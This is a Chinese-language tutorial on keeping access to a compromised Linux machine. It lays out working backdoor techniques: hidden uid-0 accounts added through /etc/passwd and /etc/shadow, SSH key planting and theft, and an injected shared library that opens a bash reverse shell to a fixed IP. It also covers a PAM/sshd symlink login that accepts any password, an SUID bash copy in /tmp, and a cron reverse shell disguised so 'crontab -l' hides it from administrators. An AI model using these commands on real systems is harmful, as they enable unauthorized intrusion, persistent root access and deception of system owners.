还有更多补充的点
0x01.linux权限维持基本思路
1.linux操作系统的基本特点
- 长时间运行并带有服务
- 文件结构简单
bin目录
:存放的二进制可执行程序,类比windows有点类似于快捷方式。boot目录
:开机使用的文件dev目录
:linux驱动*img*目录
:用于linux升级后回滚。etc目录
:配置文件目录*lib*目录
:动态链接库,根据程序需要调用不同的so库。media目录
:存在一些媒体文件,包括图片视频等mnt目录
:挂载磁盘等opt目录
:proc目录
:比较重要,系统表面需要加载的一些东西。run目录
:sbin目录
:srv目录
:sys目录
:tmp目录
:var目录
:
- 用户权限清晰
2.基本知识面
账户
账户的使用、创建和链接,以ssh为主
操作系统
基于linux的系统特性来思考linux系统本身可以利用的权限维持技巧
系统应用
从linux操作系统的各种通用性较广的应用思考权限维持
维持技巧
从触发转变为持续
- 思考的重点从基于事件触发转变为次序
- 利用的点从操作系统本身转到应用
- 权限从‘控制的权限’到‘提权的权限’===》首次进入系统并将系统权限提升为root之后,需要为后续进入的权限提升做一个方便的权限提升通道。
0x02.基于账户的linux权限维持
1 添加linux账户
- 普通方式
useradd
这种方式创建的方式我看无法指定uid和gid。
- 不普通的方式
修改passwd文件和shadow文件
/etc/passwd
test:x:0:0::/:/bin/sh //x表示有密码
/etc/shadow
test::13407: 0:99999:7:::
先复制一份文件
cp /etc/passwd /tmp/passwd
cp /etc/shadow /tmp/shadow
然后修改复制后的文件
vim /tmp/passwd
在末尾添加
test1:x:0:0::/:/bin/bash
vim /tmp/shadow
在末尾添加,该账号没有密码
test1::13470:0:99999:7:::
#13470随便写一个,只要文件中其他账户没有使用就行。
覆盖回去
[root@tk-waf-6-5-test tmp]# cp passwd /etc/passwd
cp: overwrite `/etc/passwd'? yes
[root@tk-waf-6-5-test tmp]# cp shadow /etc/shadow
cp: overwrite `/etc/shadow'? yes
成功
**
后期可在ssh_config配置文件中配置允许无密码登陆**
使用openssl添加用户,一键完成
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root
-s /bin/bash -d ` /home/hacker
2.连接linux
ssh基本使用
ssh
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]
常用格式
ssh [-i identity_file] [-J [user@]host[:port]]这部分的需要记住,很常用
3.基本密钥体系
对称与非对称密钥体系
同一个密钥既可以加密又可以解密就是对称的密钥体系,密文或明文的确定正确由这个密钥决定
有专门的密钥来负责加密,有专门的密钥负责解密就是非对称的密钥体系,密文的的确定正确由负责加密的密钥确定(公钥),明文的确定正确由负责解密的密钥确定(私钥),二者的统一确定由加密的密钥统一决定
ssh认证流程(待补充)
SSH登录主要分为两个阶段:
1)协商客户端和服务端双方通信所使用的共享密钥,并用这个共享密钥实现后续会话过程的对称加密;
2)使用非对称加密方式验证客户端的身份。
两种登陆方式:
1.密码:
1)服务端收到客户端的请求后,把自己的公钥发送给客户端(与会话密钥不同,是服务器自身的公钥/ 私钥对);
2)客户端使用收到的公钥加密密码,并发送回服务器;
3)服务器使用自己私钥解密信息,若密码正确,则通过验证。
2.密钥:
前提条件是手动将客户端的公钥发送给服务器,并填入authorized_keys文件中。
1)客户端把用户验证的密钥对ID发送给服务器;
2)服务器根据密钥对ID在对应用户的authorized_keys文件中进行检索;
3)假设服务器在文件中找到符合密钥对ID的公钥,服务器将生成一个随机数,并用这个公钥进行加密;
4)服务器将加密后的信息发送给客户端;
5)假设客户端拥有对应的私钥,就可以解密出原来的随机数;
6)客户端将得到的随机数与加密会话所用的会话密钥拼接一起后,计算其MD5哈希值;
7)客户端将MD5哈希值发送回服务器;
8)服务器使用相同的会话共享密钥和他生成的随机数计算出MD5哈希值,并与客户端返回的MD5哈希 值进行比较。如果两个值相等,证明客户端拥有对应私钥,则通过验证。
678步可以仅做了解
4.ssh做linux权限维持
公私钥的两种方案
下载私钥
找到私钥id_rsa下载下来覆盖后,然后ssh -i
上传公钥
将公钥复制到被控制端~/.ssh/authroized_key
文件
使用msf后渗透模块进行维持
post/linux/manage/sshkey_persistence
完成权限维持
服务端的私钥保存到了文件/home/kali/.msf4/loot/20210727084619_default_1_id_rsa_308106.txt中
可以看到被控端的~/.ssh/
文件夹下存在文件authorized_keys
最后直接使用ssh -i 密钥文件 root@192.168.26.61
手动维持
- 下载私钥
首先目标机ssh启用了公私钥登陆
然后进入/etc/ssh
文件夹中下载私钥文件,如ssh_host_rsa_key
**在实战环境中,下载私钥是最好的方式,不需要对主机进行新增操作
** - 上传公钥覆盖
可以在本地使用ssh-keygen
新生成相关密钥。
然后将本地生成的id_rsa.pub
公钥文件中的数据上传到被控主机文件~/.ssh/authorized_keys
中。
最后直接使用ssh连接
0x03.基于linux系统特性的权限维持
1.进程注入
linux-inject工具
关闭进程保护
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
示例
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
void shell()
{
printf("I just got loaded\n");
system("bash -c \"bash -i >& /dev/tcp/192.168.199.156/4444 0>&1\"");
}
__attribute__((constructor))
void loadMsg()
{
shell(); }
编译
clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o socket.so -lpthread -fPIC
socket.c
使用
./sample-target
./inject -p 【pid】 socket.so
2.PAM(ssh软链接)待补充
pam是一个类似于windows的wmic。
找到支持pam的程序
cd /etc/pam.d
找到支持的程序具体在什么位置
whereis su
软连接
ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=4444
ssh连接,输入任意密码
ssh 192.168.1.1 -p 4444
3.suid的权限维持
先提权,然后做权限通道维持
1.找到bash文件
whereis bash
2.复制到普通用户环境能接触的文件夹
cp /bin/bash /tmp/.bash
3.设置权限
chmod 4755 /tmp/.bash #设置suid 4代表suid
4.使用
/tmp/.bash -p
4.定时任务权限维持
crontab -l
输出隐藏
一般情况下,管理员查看当前运行的定时任务,使用的命令为crontab -l
,如何隐藏该命令的输出,从而欺骗管理员
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
没有找到任务
查看配置文件是否存在
cat /var/spool/cron/root
也没有找到,如何查看
使用less /var/spool/cron/root
直接删除/var/spool/cron/root
文件即可
0x04.基于linux系统应用的权限维持
rootkit